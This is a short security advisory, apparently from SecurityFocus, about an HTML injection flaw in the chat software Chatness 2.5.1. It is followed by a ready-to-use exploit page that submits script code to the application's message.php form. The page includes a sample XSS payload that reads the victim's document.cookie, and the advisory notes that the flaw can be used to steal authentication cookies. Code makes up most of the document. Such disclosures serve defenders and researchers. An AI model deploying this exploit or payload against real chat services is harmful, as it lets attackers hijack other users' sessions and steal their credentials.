source: http://www.securityfocus.com/bid/12929/info

Chatness is prone to an HTML injection vulnerability. This issue is exposed through various chat message form fields.

Exploitation will allow an attacker to inject hostile HTML and script code into the session of another user. An attacker could take advantage of this vulnerability to steal cookie-based authentication credentials or launch other attacks. 

<html>
<head>
<title>Chatness 2.5.1 Html Injection Exploit</title>
</head>
<body>
<h1>Chatness 2.5.1 Html Injection Exploit</h1>
<form method="POST" action="http://www.example.com/message.php">
<b>XSS in message.php:</b><p>
Username:
<input type="text" name="message" size="48" value="XSS Injection Code"></p>
<p>
<br>
example: <script>document.write(document.cookie)</script></p>
<p>&nbsp;<input type='submit' name='login' value='RUN!' class='button'></p>
</form>
<p>&nbsp;</p>
<p align="center"><a href="http://www.PersianHacker.NET">www.PersianHacker.NET</a></p>
</body>
</html> 